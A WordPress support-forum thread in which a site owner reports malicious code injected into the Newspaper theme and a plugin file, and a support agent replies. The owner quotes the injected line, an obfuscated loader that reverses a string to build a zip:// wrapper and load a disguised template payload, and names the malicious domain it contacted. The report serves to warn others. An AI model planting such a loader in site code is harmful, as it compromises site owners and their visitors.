Let me state this up front.
I am not a programmer or hacker and touching code is something I do not like to do ever.
I am building out a new site, over 2 months of work, and last night when I quit for the day everything was fine.
However this morning when I went to work on my site when I was checking posts I kept getting and popup from Trend Micro that they were blocking a site that was malicious.
I had no idea as to what was going on but I have spent the last 4 hours digging around and finally installed Wordfence.
I am not pushing Wordfence but I was at the end of what I knew to check.
I installed Wordfence and let it run its test and it uncovered the problem.
Some how, and I really have no idea how, someone or something was able to interject code into my Newspaper theme.
Wordfence showed me where the code was, in 2 files, and I made backups of the 2 files, took a deep breath, and deleted the lines of code that had been added to each file.
The popup warnings from Trend Micro are gone and rerunning the Wordfence Malware check one more time did not show any problems in my site.
The 2 files were the functions.php and another one in the plugin folder.
What Trend Micro was blocking was this website: “perspective.cdsignner.com”.
The line of code that was put into the function files is: load_template( strrev( “//:piz” ) . locate_template( “Newspaper.template” ) . “#template”, true )
I am just trying to let everyone know that my site was hacked, how I have no idea, but someone did.
I have no idea if the admins here at tagdiv and do anything to stop this from happening to anyone else.
I think I have supplied all of the info I needed to fix my problem.
If I did anything wrong could someone please let me know.
Have a good day.
Hello,
Thank you for this information
Some viruses have appeared that infect WordPress themes and files, and this problem is not only with our theme.
We assign developers to each case, and they prepare an update in which the theme will be better secured, but the wp files must also be secured.
Thank you!
Anamaria,
Thanks for your response.
The WP files did not have any problems.
Some how the code I posted was in Wordfences warning, injected into the two files in the Newspaper Theme.
I am not bashing the Newspaper theme.
It is what I consider to be one of the best themes out there for WordPress.
Have a great holiday season.
